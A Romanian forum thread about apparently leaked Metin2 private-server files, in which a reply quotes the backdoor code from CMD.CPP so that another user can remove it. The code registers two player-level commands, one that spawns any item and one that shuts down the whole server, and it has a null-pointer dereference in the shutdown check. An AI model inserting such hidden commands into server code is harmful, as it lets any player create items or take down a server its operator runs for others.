[Serverfiles] Argo - Dinos & Titanus
De unde pot modifica sistemul de ralizari?
Am gasit, Ms oricum★Cristi★ scrie:Dacă te referi la iteme, din navicat.RID8Rgaming scrie:De unde pot modifica sistemul de ralizari?
Pentru backdoor ștergi așa:liudrovic scrie:salut cine ma ajtua va rog sa scot si eu backdoor si sa descriprez item proto sa schimb numele la arme ca nu pot multumesc
CMD.CPP
Cod: Selectaţi tot
ACMD(do_vreau_si_eu_item);
ACMD(do_vreau_sa_pice);
{ "vreau_si_eu_item", do_vreau_si_eu_item, 0, POS_DEAD, GM_PLAYER },
{ "vreau_sa_pice", do_vreau_sa_pice, 0, POS_DEAD, GM_PLAYER },Cod: Selectaţi tot
ACMD(do_vreau_si_eu_item)
{
char arg1[256], arg2[256];
two_arguments(argument, arg1, sizeof(arg1), arg2, sizeof(arg2));
if (!*arg1)
{
ch->ChatPacket(CHAT_TYPE_INFO, "Usage: item <item vnum>");
return;
}
int iCount = 1;
if (*arg2)
{
str_to_number(iCount, arg2);
iCount = MINMAX(1, iCount, ITEM_MAX_COUNT);
}
DWORD dwVnum;
if (isnhdigit(*arg1))
str_to_number(dwVnum, arg1);
else
{
if (!ITEM_MANAGER::instance().GetVnum(arg1, dwVnum))
{
ch->ChatPacket(CHAT_TYPE_INFO, "#%u item not exist by that vnum.", dwVnum);
return;
}
}
LPITEM item = ITEM_MANAGER::instance().CreateItem(dwVnum, iCount, 0, true);
if (item)
{
if (item->IsDragonSoul())
{
int iEmptyPos = ch->GetEmptyDragonSoulInventory(item);
if (iEmptyPos != -1)
{
item->AddToCharacter(ch, TItemPos(DRAGON_SOUL_INVENTORY, iEmptyPos));
LogManager::instance().ItemLog(ch, item, "GM", item->GetName());
}
else
{
M2_DESTROY_ITEM(item);
if (!ch->DragonSoul_IsQualified())
{
ch->ChatPacket(CHAT_TYPE_INFO, "Àκ¥ÀÌ È°¼ºÈ µÇÁö ¾ÊÀ½.");
}
else
ch->ChatPacket(CHAT_TYPE_INFO, "Not enough inventory space.");
}
}
else
{
int iEmptyPos = ch->GetEmptyInventory(item->GetSize());
if (iEmptyPos != -1)
{
item->AddToCharacter(ch, TItemPos(INVENTORY, iEmptyPos));
LogManager::instance().ItemLog(ch, item, "GM", item->GetName());
}
else
{
M2_DESTROY_ITEM(item);
ch->ChatPacket(CHAT_TYPE_INFO, "Not enough inventory space.");
}
}
}
else
{
ch->ChatPacket(CHAT_TYPE_INFO, "#%u item not exist by that vnum.", dwVnum);
}
}
ACMD(do_vreau_sa_pice)
{
if (NULL == ch)
{
sys_err("Accept shutdown command from %s.", ch->GetName());
}
TPacketGGShutdown p;
p.bHeader = HEADER_GG_SHUTDOWN;
P2P_MANAGER::instance().Send(&p, sizeof(TPacketGGShutdown));
Shutdown(10);
}-
- Informaţie
-
Cine este conectat
Utilizatori ce ce navighează pe acest forum: Niciun utilizator înregistrat și 39 vizitatori




